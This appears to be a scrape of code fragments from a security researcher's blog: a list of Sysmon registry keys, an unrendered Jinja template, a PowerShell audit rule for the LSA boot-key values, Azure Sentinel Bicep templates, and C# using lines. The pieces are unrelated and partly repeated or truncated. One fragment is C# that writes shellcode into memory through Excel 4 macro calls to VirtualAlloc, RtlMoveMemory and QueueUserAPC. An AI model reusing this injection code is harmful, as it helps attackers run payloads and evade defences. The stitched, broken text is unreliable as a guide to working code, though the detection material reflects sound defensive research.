Roberto Rodriguez Cyb3rWard0g

Registry keys Deleted (Apparently)

HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational{5770385f-c22a-43e0-bf4c-06f5698ffbd9}
HKLM\System\CurrentControlSet\Control\WMI\Security\08dd09cd-9050-5a49-02f8-46fd443360a8
HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\ChannelReferences\0
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\ChannelReferences
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers{5770385f-c22a-43e0-bf4c-06f5698ffbd9}

{% for d in renderquery['data_sources'] %}* {{d}}
{% endfor %}

{{renderquery['logic']}}

	# Download https://github.com/OTRF/Set-AuditRule/blob/master/Set-AuditRule.ps1

	Import-Module .\Set-AuditRule.ps1

	$AuditRules = @"
	"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\JD";"Authenticated Users";"QueryValues";"None";"None";"Success"
	"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Skew1";"Authenticated Users";"QueryValues";"None";"None";"Success"
	"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\GBG";"Authenticated Users";"QueryValues";"None";"None";"Success"
	"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Data";"Authenticated Users";"QueryValues";"None";"None";"Success"
	"@

	var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));
	var startaddr = memaddr;

	foreach (var b in shellcode) {
	var cb = String.Format("CHAR({0})", b);
	var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)";
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode });
	memaddr++;
	}
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" });

	param utcValue string {
	default: utcNow()
	metadata: {
	description: 'Returns the current (UTC) datetime value in the specified format. If no format is provided, the ISO 8601 (yyyyMMddTHHmmssZ) format is used'
	}
	}
	param workspaceName string {
	metadata: {
	description: 'Name for the Log Analytics workspace used to aggregate data.'
	}

	param utcValue string {
	default: utcNow()
	metadata: {
	description: 'Returns the current (UTC) datetime value in the specified format. If no format is provided, the ISO 8601 (yyyyMMddTHHmmssZ) format is used'
	}
	}
	param workspaceName string {
	metadata: {
	description: 'Name for the Log Analytics workspace used to aggregate data.'
	}

	resource azureSentinel 'Microsoft.OperationsManagement/solutions@2015-11-01-preview' = {
	name: concat('SecurityInsights(',workspace.name,')') // Implicit Dependency
	location: 'eastus'
	properties: {
	workspaceResourceId: workspace.id
	}
	plan: {
	name: concat('SecurityInsights(',workspace.name,')') // Implicit Dependency
	product: 'OMSGallery/SecurityInsights'
	publisher: 'Microsoft'

	output workspaceNameOutput string = uniqueWorkspace
	output workspaceIdOutput string = reference(workspace.id, workspace.apiVersion).customerId
	output workspacekeyOutput string = listKeys(workspace.id, workspace.apiVersion).primarySharedKey

	resource workspace 'Microsoft.OperationalInsights/workspaces@2020-03-01-preview' = {
	name: 'UniqueWorkspaceName' // must be globally unique
	location: 'eastus'
	properties: {
	sku: {
	name: 'PerGB2018'
	}
	retentionInDays: 30
	features: {
	immediatePurgeDataOn30Days: true

	using System;
	using System.Net;
	using System.Linq;
	using System.Text;
	using System.Text.RegularExpressions;
	using System.IO.Pipes;
	using System.Reflection;
	using System.Collections.Generic;
	using System.Security.Cryptography;